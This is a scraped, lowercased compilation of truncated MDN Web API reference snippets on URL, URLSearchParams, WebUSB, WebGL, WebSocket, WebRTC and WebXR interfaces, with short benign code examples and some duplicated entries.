"target", required, of type eventtarget, the item at which the touch point started when it was first placed on the surface. "clientx", optional and defaulting to 0, of type double, that is the horizontal position of the touch on the client window of user's screen, excluding any scroll offset. "clienty", optional and defaulting to 0, of type double, that is the vertical position of the touch on the client window of the user's screen, excluding any scroll offset. ...
URL.pathname - Web APIs
the pathname property of the url interface is a usvstring containing an initial '/' followed by the path of the url (or the empty string if there is no path). note: this feature is available in web workers. syntax const path = url.pathname url.pathname =
newpath value a usvstring. examples const url =
new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification. living standard initial definition. ...
URL.pathname - Web APIs
the pathname property of the url interface is a usvstring containing an initial '/' followed by the path of the url (or the empty string if there is no path). note: this feature is available in web workers. syntax const path = url.pathname url.pathname =
newpath value a usvstring. examples const url =
new url('/docs/web/api/url/pathname?q=value'); console.log(url.pathname); // logs "/docs/web/api/url/pathname" specifications specification status comment urlthe definition of 'url.pathname' in that specification. living standard initial definition. ...
URL.port - Web APIs
the port property of the url interface is a usvstring containing the port number of the url. if the url does not contain an explicit port number, it will be set to ''. note: this feature is available in web workers. syntax const portnumber = url.port url.port =
newportnumber value a usvstring. examples const url =
new url('https://mydomain.com:80/svn/repos/'); console.log(url.port); // logs '80' specifications specification status comment urlthe definition of 'url.port' in that specification. living standard initial definition. ...
URL.protocol - Web APIs
the protocol property of the url interface is a usvstring representing the protocol scheme of the url, including the final ':'. note: this feature is available in web workers. syntax const protocol = url.protocol url.protocol =
newprotocol value a usvstring. examples const url =
new url('/docs/web/api/url/protocol'); console.log(url.protocol); // logs "https:" specifications specification status comment urlthe definition of 'protocol' in that specification. living standard initial definition. ...
URL.search - Web APIs
the search property of the url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the url. modern browsers provide the url.searchparams property to make it easy to parse out the parameters from the query string. note: this feature is available in web workers. syntax const searchparams = object.search url.search =
newsearchparams value a usvstring. examples const url =
new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification. living standard initial definition. ...
URL.search - Web APIs
the search property of the url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the url. modern browsers provide the url.searchparams property to make it easy to parse out the parameters from the query string. note: this feature is available in web workers. syntax const searchparams = object.search url.search =
newsearchparams value a usvstring. examples const url =
new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification. living standard initial definition. ...
URL.searchParams - Web APIs
ce returns a urlsearchparams object allowing access to the get decoded query arguments contained in the url. note: this feature is available in web workers. syntax const urlsearchparams = url.searchparams value a urlsearchparams object. examples if the url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (
new url(document.location)).searchparams; let name = params.get('name'); // is the string "jonathan smith". let age = parseint(params.get('age')); // is the number 18 specifications specification status comment urlthe definition of 'searchparams' in that specification. living standard initial definition. ...
URL.toJSON() - Web APIs
the tojson() method of the url interface returns a usvstring containing a serialized version of the url, although in practice it seems to have the same effect as url.tostring(). note: this feature is available in web workers. syntax const href = url.tojson() return value a usvstring. examples const url =
new url("/docs/web/api/url/tostring"); url.tojson(); // should return the url as a string specifications specification status comment urlthe definition of 'tojson()' in that specification. living standard initial definition. ...
URL.toString() - Web APIs
the url.tostring() stringifier method returns a usvstring containing the whole url. it is effectively a read-only version of url.href. note: this feature is available in web workers. syntax const href = url.tostring() return value a usvstring. examples const url =
new url("/docs/web/api/url/tostring"); url.tostring(); // should return the url as a string specifications specification status comment urlthe definition of 'stringifier' in that specification. living standard initial definition. ...
URL.username - Web APIs
the username property of the url interface is a usvstring containing the username specified before the domain name. note: this feature is available in web workers. syntax const usernamestring = url.username url.username =
newusername value a usvstring. examples const url =
new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/username'); console.log(url.username) // logs "anonymous" specifications specification status comment urlthe definition of 'username' in that specification. living standard initial definition. ...
URLSearchParams.append() - Web APIs
the append() method of the urlsearchparams interface appends a specified key/value pair as a
new search parameter. as shown in the example below, if the same key is appended multiple times it will appear in the parameter string multiple times for each value. note: this feature is available in web workers. syntax urlsearchparams.append(name, value) parameters name the name of the parameter to append. value the value of the parameter to append. return value void. examples let url =
new url('https://example.com?foo=1&bar=2'); let params =
new urlsearchparams(url.search.slice(1)); //add a second foo parameter. params.append('foo', 4); //query string is now: 'foo=1&bar=2&foo=4' specifications specification status comment urlthe definition of 'append...
URLSearchParams.delete() - Web APIs
the delete() method of the urlsearchparams interface deletes the given search parameter and all its associated values, from the list of all search parameters. note: this feature is available in web workers. syntax urlsearchparams.delete(name) parameters name the name of the parameter to be deleted. return value void examples let url =
new url('https://example.com?foo=1&bar=2&foo=3'); let params =
new urlsearchparams(url.search.slice(1)); // delete the foo parameter. params.delete('foo'); //query string is now: 'bar=2' specifications specification status comment urlthe definition of 'delete()' in that specification. living standard initial definition. ...
URLSearchParams.entries() - Web APIs
ies() method of the urlsearchparams interface returns an iterator allowing iteration through all key/value pairs contained in this object. the key and value of each pair are usvstring objects. note: this feature is available in web workers. syntax searchparams.entries(); parameters none. return value returns an iterator. examples // create a test urlsearchparams object var searchparams =
new urlsearchparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment urlthe definition of 'entries() (see "iterable")' in that specification. living standard initial definition. ...
URLSearchParams.forEach() - Web APIs
lows iteration through all values contained in this object via a callback function. note: this feature is available in web workers. syntax searchparams.foreach(callback); parameters callback a callback function that is executed against each parameter, with the param value provided as its parameter. return value void. examples // create a test urlsearchparams object var searchparams =
new urlsearchparams("key1=value1&key2=value2"); // log the values searchparams.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment urlthe definition of 'foreach() (see "iterable")' in that specification. living standard initial definition. ...
URLSearchParams.get() - Web APIs
n search parameter. note: this feature is available in web workers. syntax urlsearchparams.get(name) parameters name the name of the parameter to return. return value a usvstring if the given search parameter is found; otherwise, null. ...
URLSearchParams.getAll() - Web APIs
the getall() method of the urlsearchparams interface returns all the values associated with a given search parameter as an array. note: this feature is available in web workers. syntax urlsearchparams.getall(name) parameters name the name of the parameter to return. return value an array of usvstrings. examples let url =
new url('https://example.com?foo=1&bar=2'); let params =
new urlsearchparams(url.search.slice(1)); //add a second foo parameter. params.append('foo', 4); console.log(params.getall('foo')) //prints ["1","4"]. specifications specification status comment urlthe definition of 'getall()' in that specification. living standard initial definition. ...
URLSearchParams.has() - Web APIs
the has() method of the urlsearchparams interface returns a boolean that indicates whether a parameter with the specified name exists. note: this feature is available in web workers. syntax var hasname = urlsearchparams.has(name) parameters name the name of the parameter to find. return value a boolean. examples let url =
new url('https://example.com?foo=1&bar=2'); let params =
new urlsearchparams(url.search.slice(1)); params.has('bar') === true; //true specifications specification status comment urlthe definition of 'has()' in that specification. living standard initial definition. ...
URLSearchParams.keys() - Web APIs
the keys() method of the urlsearchparams interface returns an iterator allowing iteration through all keys contained in this object. the keys are usvstring objects. note: this method is available in web workers. syntax searchparams.keys(); parameters none. return value returns an iterator. examples // create a test urlsearchparams object var searchparams =
new urlsearchparams("key1=value1&key2=value2"); // display the keys for(var key of searchparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment urlthe definition of 'keys() (see "iterable")' in that specification. living standard initial definition. ...
URLSearchParams.sort() - Web APIs
s undefined. the sort order is according to unicode code points of the keys. this method uses a stable sorting algorithm (i.e. the relative order between key/value pairs with equal keys will be preserved). note: this feature is available in web workers. syntax searchparams.sort(); parameters none. return value undefined. examples // create a test urlsearchparams object var searchparams =
new urlsearchparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchparams.sort(); // display the sorted query string console.log(searchparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment urlthe definition of 'sort()' in that specification. living standard initial definition ...
URLSearchParams.values() - Web APIs
the values() method of the urlsearchparams interface returns an iterator allowing iteration through all values contained in this object. the values are usvstring objects. note: this feature is available in web workers. syntax searchparams.values(); parameters none. return value returns an iterator. examples // create a test urlsearchparams object var searchparams =
new urlsearchparams("key1=value1&key2=value2"); // display the values for(var value of searchparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment urlthe definition of 'values() (see "iterable")' in that specification. living standard initial definition. ...
USBAlternateInterface - Web APIs
the usbalternateinterface interface of the webusb api provides information about a particular configuration of an interface provided by the usb device. an interface includes one or more alternate settings which can configure a set of endpoints based on the operating mode of the device. constructor usbalternateinterface.usbalternateinterface creates a
new usbalternateinterface object which will be populated with information about the alternate interface of the provided usbinterface with the given alternate setting number. properties usbalternateinterface.alternatesettingread only returns the alternate setting number of this interface. this is equal to the balternatesetting field of the interface descriptor defining this interface. usbalternateinterface.interfaceclassread only ...
USBConfiguration - Web APIs
properties usbconfiguration.configurationvalueread only returns the configuration value of this configuration. ...
USBDevice.opened - Web APIs
w to test that a device is open before calling usbdevice.controltransferout to set a specified led color. what data can be passed to a usb device and how it is passed is particular and unique to each device. async setdevicecolor(usbdevice, r, g, b) { if (device.opened) { // this hypothetical usb device requires that the data passed to // it be in a uint8array. let payload =
new uint8array([r, g, b]); await usbdevice.controltransferout({ requesttype: 'vendor', recipient: 'device', request: 1, value: 0, index: 0, }, payload); } } specifications specification status comment webusbthe definition of 'opened' in that specification. draft initial definition. ...
USBEndpoint - Web APIs
the usbendpoint interface of the webusb api provides information about an endpoint provided by the usb device. an endpoint represents a unidirectional data stream into or out of a device. constructor usbendpoint.usbendpoint creates a
new usbendpoint object which will be populated with information about the endpoint on the provided usbaltenateinterface with the given endpoint number and transfer direction. properties usbendpoint.endpointnumber returns this endpoint's "endpoint number" which is a value from 1 to 15 extracted from the bendpointaddress field of the endpoint descriptor defining this endpoint. this value is used to identify the endpoint when calling methods on usbdevice. usbendpoint.direction returns the direction in which this endpoint transfers data, one of: "i...
USBInTransferResult - Web APIs
the usbintransferresult interface of the webusb api provides the result from a call to the transferin() and controltransferin() methods of the usbdevice interface. it represents the result from requesting a transfer of data from the usb device to the usb host. constructor usbintransferresult.usbintransferresult() creates a
new usbintransferresult object with the provided status and data fields. properties usbintransferresult.dataread only returns a dataview object containing the data received from the usb device, if any. usbintransferresult.statusread only returns the status of the transfer request, one of: "ok" - the transfer was successful. "stall" - the device indicated an error by generating a stall condition on the endpoint. a stall on the control endpoint does n...
USBInterface - Web APIs
the usbinterface interface of the webusb api provides information about an interface provided by the usb device. an interface represents a feature of the device which implements a particular protocol and may contain endpoints for bidirectional communication. constructor usbinterface.usbinterface creates a
new usbinterface object which will be populated with information about the interface on the provided usbconfiguration with the given interface number. properties usbinterface.interfacenumberread only returns the interface number of this interface. this is equal to the binterfacenumber field of the interface descriptor defining this interface. usbinterface.alternateread only returns the currently selected alternative configuration of this interface. by default this ...
USBIsochronousInTransferPacket - Web APIs
usbisochronousintransferpacket interface of the webusb api is part of the response from a call to the isochronoustransferin() method of the usbdevice interface. it represents the status of an individual packet from a request to transfer data from the usb device to the usb host over an isochronous endpoint. constructor usbisochronousintransferpacket.usbisochronousintransferpacket() creates a
new usbisochronousintransferpacket object with the provided status and data fields. properties usbisochronousintransferpacket.dataread only read only returns a dataview object containing the data received from the usb device in this packet, if any. usbisochronousintransferpacket.statusread only read only returns the status of the transfer request, one of: "ok" - the transfer was success...
USBIsochronousInTransferResult - Web APIs
the usbisochronousintransferresult interface of the webusb api provides the result from a call to the isochronoustransferin() method of the usbdevice interface. it represents the result from requesting a transfer of data from the usb device to the usb host. constructor usbisochronousintransferresult.usbisochronousintransferresult() creates a
new usbisochronousintransferresult object with the provided packets and data fields. properties usbisochronousintransferresult.dataread only returns a dataview object containing the data received from the device. this is the combined data from all packets. see the individual dataview objects in the packets array for the portion of this buffer containing data from each packet. usbisochronousintransferresult.packetsread only returns an ar...
USBIsochronousOutTransferPacket - Web APIs
isochronousouttransferpacket interface of the webusb api is part of the response from a call to the isochronoustransferout() method of the usbdevice interface. it represents the status of an individual packet from a request to transfer data from the usb host to the usb device over an isochronous endpoint. constructor usbisochronousouttransferpacket.usbisochronousouttransferpacket() creates a
new usbisochronousouttransferpacket object with the provided status and byteswritten fields. properties usbisochronousouttransferpacket.byteswrittenread only returns the number of bytes from the packet that were sent to the device. usbisochronousouttransferpacket.statusread only returns the status of the transfer request, one of: "ok" - the transfer was successful. "stall" - the devic...
USBIsochronousOutTransferResult - Web APIs
the usbisochronousouttransferresult interface of the webusb api provides the result from a call to the isochronoustransferout() method of the usbdevice interface. it represents the result from requesting a transfer of data from the usb host to the usb device. constructor usbisochronousouttransferresult.usbisochronousouttransferresult() creates a
new usbisochronousouttransferresult object with the provided packet field. properties usbisochronousouttransferresult.packetsread only returns an array of usbisochronousouttransferpacket objects containing the result of each request to send a packet to the device. specifications specification status comment webusbthe definition of 'usbisochronousouttransferresult' in that specification. draft initial de...
USBOutTransferResult - Web APIs
the usbouttransferresult interface of the webusb api provides the result from a call to the transferout() and controltransferout() methods of the usbdevice interface. it represents the result from requesting a transfer of data from the usb host to the usb device. constructor usbouttransferresult.usbouttransferresult() creates a
new usbouttransferresult object with the provided status and byteswritten fields. properties usbouttransferresult.byteswrittenread only returns the number of bytes from the transfer request that were sent to the device. usbouttransferresult.statusread only returns the status of the transfer request, one of: "ok" - the transfer was successful. "stall" - the device indicated an error by generating a stall condition on the endpoint. a stall on a b...
VideoTrackList.onchange - Web APIs
the videotracklist property onchange is an event handler which is called when the change event occurs, indicating that a videotrack in the videotracklist has been made active. the event is passed into the event handler in the form of an event object; the event doesn't provide any additional information. to determine the
new state of media's tracks, you'll have to look at their videotrack.selected flags. note: you can also add a handler for the change event using addeventlistener(). syntax videotracklist.onchange = eventhandler; value set onchange to a function that should be called whenever a track is made active. example this snippet establishes a handler for the change event that looks at each of the tracks in the list, calling a function to update the state of a user interface c...
WEBGL_compressed_texture_astc - Web APIs
for game assets by nvidia. webgl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: astc compression is typically available on mali arm gpus, intel gpus, and nividia tegra chips. this extension is available to both, webgl1 and webgl2 contexts. methods this extension exposes one
new methods. ext.getsupportedprofiles() returns an array of strings containing the names of the astc profiles supported by the implementation. constants the compressed texture formats are exposed by 28 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d(). constants blocks bits per pixel arraybuffer bytelength bytes if height...
WEBGL_depth_texture - Web APIs
gl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: this extension is only available to webgl1 contexts. in webgl2, the functionality of this extension is available on the webgl2 context by default. the constant in webgl2 is gl.unsigned_int_24_8. constants this extension adds a
new constant: ext.unsigned_int_24_8_webgl unsigned integer type for 24-bit depth texture data. extended methods this extension extends webglrenderingcontext.teximage2d(): the format and internalformat parameters now accept gl.depth_component and gl.depth_stencil. the type parameter now accepts gl.unsigned_short, gl.unsigned_int, and ext.unsigned_int_24_8_webgl. the pixels parameter now ac...
WaveShaperNode.WaveShaperNode() - Web APIs
the waveshapernode() constructor of the web audio api creates a
new waveshapernode object which is an audionode that represents a non-linear distorter. syntax var waveshapernode =
new waveshapernode(context, options) parameters inherits parameters from the audionodeoptions dictionary. context a reference to an audiocontext. options optional options are as follows: curve: the shaping curve used for the waveshaping effect. the input signal is nominally within the range [-1;1]. oversample: specifies what type of oversampling (if any) should be used when applying the shaping curve. valid values are 'none', '2x', or '4x'. the default is 'none'. return value a
new waveshapernode object instance. specifications specification status comment web audio ...
WebGL2RenderingContext.clearBuffer[fiuv]() - Web APIs
fer a glint specifying the draw buffer to clear. values an array of glint, gluint or glfloat values or an int32array, uint32array or float32array specifying the values to clear to. depth a glfloat specifying the value to clear a depth render buffer to. stencil a glint specifying the value to clear the stencil render buffer to. return value none. examples gl.clearbufferiv(gl.color, 0,
new int32array([r, g, b, a])); gl.clearbufferuiv(gl.color, 0,
new uint32array([r, g, b, a])); gl.clearbufferfv(gl.color, 0,
new float32array([r, g, b, a])); gl.clearbufferfv(gl.color, 0, [0.0, 0.0, 0.0, 0.0]); gl.clearbufferfi(gl.depth_stencil, 0, 1.0, 0); specifications specification status comment webgl 2.0the definition of 'clearbuffer[fiuv]()' in that specification. ...
WebGL2RenderingContext.fenceSync() - Web APIs
syntax webglsync gl.fencesync(condition, flags); parameters condition a glenum specifying the condition that must be met to set the sync object's state to signaled. must be gl.sync_gpu_commands_complete. flags a glbitfield specifying a bitwise combination of flags controlling the behavior of the sync object. must be 0 (exists for extensions only). return value a webglsync object. examples gl must be a webgl2renderingcontext. webglsync objects are not available in webgl 1. ...
WebGL2RenderingContext.getBufferSubData() - Web APIs
t + returneddata.bytelength would extend beyond the end of the buffer returneddata is null offset is less than zero. an invalid_operation error is generated if: zero is bound to target target is transform_feedback_buffer, and any transform feedback object is currently active. examples var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer,
new float32array(vertices), gl.static_draw); var arrbuffer =
new arraybuffer(vertices.length * float32array.bytes_per_element); gl.getbuffersubdata(gl.array_buffer, 0, arrbuffer); specifications specification status comment webgl 2.0the definition of 'getbuffersubdata' in that specification. editor's draft initial definition. ...
WebGL2RenderingContext.uniform[1234][uif][v]() - Web APIs
ffset, optional srclength); void gl.uniform2uiv(location, data, optional srcoffset, optional srclength); void gl.uniform3uiv(location, data, optional srcoffset, optional srclength); void gl.uniform4uiv(location, data, optional srcoffset, optional srclength); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify. data, v0, v1, v2, v3 a
new value to be used for the uniform variable. possible types: a number for unsigned integer values (methods with ui), for integer values (methods with i), or for floats (methods with f). a uint32array for unsigned integer vector methods (methods with uiv). return value none. specifications specification status comment webgl 2.0the definition of 'uniform' in tha...
WebGLRenderingContext.bindBuffer() - Web APIs
webgl 1.0the definition of 'bindbuffer' in that specification. recommendation initial definition for webgl. opengl es 2.0the definition of 'glbindbuffer' in that specification. standard man page of the (similar) opengl es 2 api. webgl 2.0the definition of 'bindbuffer' in that specification. editor's draft updated definition for webgl 2. adds
new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feedback_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer opengl es 3.0the definition of 'glbindbuffer' in that specification. standard man page of the (similar) opengl es 3 api. ...
WebGLRenderingContext.bufferSubData() - Web APIs
webgl 1.0the definition of 'buffersubdata' in that specification. recommendation initial definition for webgl. opengl es 2.0the definition of 'glbuffersubdata' in that specification. standard man page of the opengl es 2 api. opengl es 3.0the definition of 'glbuffersubdata' in that specification. standard man page of the (similar) opengl es 3 api. adds
new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feedback_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer. ...
WebGLRenderingContext.canvas - Web APIs
r null. examples canvas element given this <canvas> element: <canvas id="canvas"></canvas> you can get back a reference to it from the webglrenderingcontext using the canvas property: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.canvas; // htmlcanvaselement offscreen canvas example using the experimental offscreencanvas object. var offscreen =
new offscreencanvas(256, 256); var gl = offscreen.getcontext('webgl'); gl.canvas; // offscreencanvas specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.canvas' in that specification. recommendation initial definition. ...
WebGLRenderingContext.getBufferParameter() - Web APIs
n of 'glgetbufferparameteriv' in that specification. standard man page of the (similar) opengl es 2 api. webgl 2.0the definition of 'getbufferparameter' in that specification. editor's draft updated definition for webgl. opengl es 3.0the definition of 'glgetbufferparameter' in that specification. standard man page of the (similar) opengl es 3 api. adds
new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feedback_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer adds
new usage hints: gl.static_read, gl.dynamic_read, gl.stream_read, gl.static_copy, gl.dynamic_copy, gl.stream_copy. ...
WebGLRenderingContext.getShaderPrecisionFormat() - Web APIs
syntax webglshaderprecisionformat gl.getshaderprecisionformat(shadertype, precisiontype); parameters shadertype either a gl.fragment_shader or a gl.vertex_shader. precisiontype a precision type value. either gl.low_float, gl.medium_float, gl.high_float, gl.low_int, gl.medium_int, or gl.high_int. return value a webglshaderprecisionformat object or null, if an error occurs. exceptions gl.invalid_enum if the shader or precision types aren't recognized. ...
WebGLRenderingContext.linkProgram() - Web APIs
void gl.linkprogram(program); parameters program the webglprogram to link. return value none. examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw
new error('could not compile webgl program. \n\n' + info); } specifications specification status comment webgl 1.0the definition of 'linkprogram' in that specification. recommendation initial definition. opengl es 2.0the definition of 'gllinkprogram' in that specification. standard man page of the opengl api. ...
WebGLRenderingContext.readPixels() - Web APIs
gl.unsigned_short_5_6_5 and format is not gl.rgb. type is gl.unsigned_short_4_4_4_4 and format is not gl.rgba. type does not match the typed array type of pixels. a gl.invalid_framebuffer_operation error is thrown if the currently bound framebuffer is not framebuffer complete. examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var pixels =
new uint8array(gl.drawingbufferwidth * gl.drawingbufferheight * 4); gl.readpixels(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight, gl.rgba, gl.unsigned_byte, pixels); console.log(pixels); // uint8array specifications specification status comment webgl 1.0the definition of 'readpixels' in that specification. recommendation initial definition. opengl es 2.0...
WebGLRenderingContext.uniform[1234][fi][v]() - Web APIs
ation, value); void gl.uniform3i(location, v0, v1, v2); void gl.uniform3iv(location, value); void gl.uniform4f(location, v0, v1, v2, v3); void gl.uniform4fv(location, value); void gl.uniform4i(location, v0, v1, v2, v3); void gl.uniform4iv(location, value); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify. value, v0, v1, v2, v3 a
new value to be used for the uniform variable. possible types: a floating point number for floating point values (methods with "f"). a sequence of floating point numbers (for example a float32array or an array of numbers) for floating point vector methods (methods with "fv"). an integer number for integer values (methods with "i"). an int32array for integer vector methods (methods with "iv"...
WebGLRenderingContext.viewport() - Web APIs
egative glsizei specifying the height of the viewport. default value: height of the canvas. return value none. errors thrown if either width or height is a negative value, a gl.invalid_value error is thrown. examples when you first create a webgl context, the size of the viewport will match the size of the canvas. however, if you resize the canvas, you will need to tell the webgl context a
new viewport setting. in this situation, you can use gl.viewport. gl.viewport(0, 0, canvas.width, canvas.height); the viewport width and height are clamped to a range that is implementation dependent. to get this range, you can use the max_viewport_dims constant, which returns an int32array. gl.getparameter(gl.max_viewport_dims); // e.g. int32array[16384, 16384] to get the current viewport, que...
Clearing with colors - Web APIs
!gl) { paragraph.innerhtml = "failed to get webgl context. " + "your browser or device may not support webgl."; return; } paragraph.innerhtml = "congratulations! your browser supports webgl. "; gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); // set the clear color to darkish green. gl.clearcolor(0.0, 0.5, 0.0, 1.0); // clear the context with the
newly set color. this is // the function call that actually does the drawing. gl.clear(gl.color_buffer_bit); }, false); the source code of this example is also available on github. « previousnext » ...
Hello vertex attributes - Web APIs
gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); document.queryselector("canvas").addeventlistener("click", function (evt) { var clickxrelativtocanvas = evt.pagex - evt.target.offsetleft; var clickxinwebglcoords = 2.0 * (clickxrelativtocanvas- gl.drawingbufferwidth/2) / gl.drawingbufferwidth; gl.bufferdata(gl.array_buffer,
new float32array([clickxinwebglcoords]), gl.static_draw); gl.drawarrays(gl.points, 0, 1); }, false); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer,
new float32array([0.0]), gl.static_draw); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } windo...
Simple color animation - Web APIs
device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function. var color = getrandomcolor(); // set the webglrenderingcontext clear color to the // random color. gl.clearcolor(color[0], color[1], color[2], 1.0); // clear the context with the
newly set color. gl.clear(gl.color_buffer_bit); } // random color helper function. function getrandomcolor() { return [math.random(), math.random(), math.random()]; } }, false); the source code of this example is also available on github. « previousnext » ...
Compressed texture formats - Web APIs
he correct compressed format const dataarraybuffer = await fetch('/textures/foobar512x512.rgba_s3tc_dxt1') .then(response => response.arraybuffer()); gl.compressedteximage2d(gl.texture_2d, 0, // set the base image level ext.compressed_rgba_s3tc_dxt1_ext, // the compressed format we are using 512, 512, // width, height of the image 0, // border, always 0
new dataview(dataarraybuffer)); gl.generatemipmap(); // create mipmap levels, like we would for a standard image return texture; } } ...
Getting started with WebGL - Web APIs
variable gl is our reference to it. in this case, we set the clear color to black, and clear the context to that color (redrawing the canvas with the background color). at this point, you have enough code that the webgl context should successfully initialize, and you should wind up with a big black, empty box, ready and waiting to receive content. view the complete code | open this demo on a
new page ...
WebGL: 2D and 3D graphics for the web - Web APIs
ture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context events webglcontextlost webglcontextrestored webglcontextcreationerror constants and types webgl constants webgl types webgl 2 webgl 2 is a major update to webgl which is provided through the webgl2renderingcontext interface. it is based on opengl es 3.0 and
new features include: 3d textures, sampler objects, uniform buffer objects, sync objects, query objects, transform feedback objects, promoted extensions that are now core to webgl 2: vertex array objects, instancing, multiple render targets, fragment depth. see also the blog post "webgl 2 lands in firefox" and webglsamples.org/webgl2samples for a few demos. guides and tutorials below, yo...
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
's rtcrtpsender's track is replaced with the specified stream's first audio track. the transceiver's incoming audio track is re-enabled. the audio transceiver's direction is set to "sendrecv", indicating that it should return to both sending and receiving streamed audio, instead of only sending. just like when hold was engaged, this triggers negotiation again, resulting in your code sending a
new offer to the remote peer. remote peer when the "sendrecv" offer is received by the remote peer, it calls its holdended() method: async function holdended(offer, micstream) { try { await peerconnection.setremotedescription(offer); await audiotransceiver.sender.replacetrack(micstream.getaudiotracks()[0]); audiotransceiver.direction = "sendrecv"; await sendanswer(); } catch(e...
Taking still photos with WebRTC - Web APIs
rcobject = stream; video.play(); }) .catch(function(err) { console.log("an error occurred: " + err); }); here, we're calling mediadevices.getusermedia() and requesting a video stream (without audio). it returns a promise which we attach success and failure callbacks to. the success callback receives a stream object as input. it is the <video> element's source to our
new stream. once the stream is linked to the <video> element, we start it playing by calling htmlmediaelement.play(). the error callback is called if opening the stream doesn't work. this will happen for example if there's no compatible camera connected, or the user denied access. listen for the video to start playing after calling htmlmediaelement.play() on the <video>, there's a (hopefully brie...
WebSocket() - Web APIs
protocols optional either a single protocol string or an array of protocol strings. these strings are used to indicate sub-protocols, so that a single server can implement multiple websocket sub-protocols (for example, you might want one server to be able to handle different types of interactions depending on the specified protocol). if you don't specify a protocol string, an empty string is assumed. exceptions thrown security_err the port to which the connection is being attempted is being blocked. ...
WebSocket: error event - Web APIs
the error event is fired when a connection with a websocket has been closed due to an error (some data couldn't be sent for example). bubbles no cancelable no interface event event handler property onerror examples // create websocket connection const socket =
new websocket('ws://localhost:8080'); // listen for possible errors socket.addeventlistener('error', function (event) { console.log('websocket error: ', event); }); specifications specification status html living standardthe definition of 'websocket error' in that specification. living standard ...
WebSocket: message event - Web APIs
the message event is fired when data is received through a websocket. bubbles no cancelable no interface messageevent event handler property onmessage examples // create websocket connection. const socket =
new websocket('ws://localhost:8080'); // listen for messages socket.addeventlistener('message', function (event) { console.log('message from server ', event.data); }); specifications specification status html living standardthe definition of 'websocket message' in that specification. living standard ...
WebSocket: open event - Web APIs
the open event is fired when a connection with a websocket is opened. bubbles no cancelable no interface event event handler property onopen examples // create websocket connection. const socket =
new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', (event) => { socket.send('hello server!'); }); specifications specification status html living standardthe definition of 'websocket open' in that specification. living standard ...
Writing WebSocket servers - Web APIs
that client. here is a rough sketch, in which a server reacts to a client sending text messages. the first message is sent in a single frame, while the second message is sent across three frames. fin and opcode details are shown only for the client: client: fin=1, opcode=0x1, msg="hello" server: (process complete message immediately) hi. client: fin=0, opcode=0x1, msg="and a" server: (listening,
new message containing text started) client: fin=0, opcode=0x0, msg="happy
new" server: (listening, payload concatenated to previous message) client: fin=1, opcode=0x0, msg="year!" server: (process complete message) happy
new year to you too! notice the first frame contains an entire message (has fin=1 and opcode!=0x0), so the server can process or respond as it sees fit. the second frame sent by th...
Fundamentals of WebXR - Web APIs
erent from webvr? webvr was generally considered to be an experimental api designed to help specification writers determine the best approaches to creating an api for virtual reality on the web. as browser developers built support for webvr and allowed developers to experiment, it became clear that in order to finish an api for virtual environments on the web, it would make more sense to start a
new specification than to try to "fix" webvr. thus, webxr was created. the most obvious difference, at the highest level, is that webxr supports not just virtual reality applications, but also augmented reality, which blends virtual objects with the user's true physical environment. another key difference is that webxr has integrated support for the advanced input controllers that are used with mos...
WebXR application life cycle - Web APIs
ctivate it. when the user requests the activation of webxr functionality by engaging with the user interface enabled above, request an xrsession using the desired mode. this is done by calling navigator.xr.requestsession(), again specifying the string indicating the mode you want to enable: inline, immersive-vr, or immersive-ar. if the promise returned by requestsession() resolves, use the
new xrsession to manage the webxr session for the duration of the webxr experience. this will involve managing inputs, animations, and rendering. call the xrsession method requestanimationframe() to schedule the first frame render for the xr device. if your scene is complex, you should consider creating a worker—or using one that you've previously created for this purpose—to perform the ...
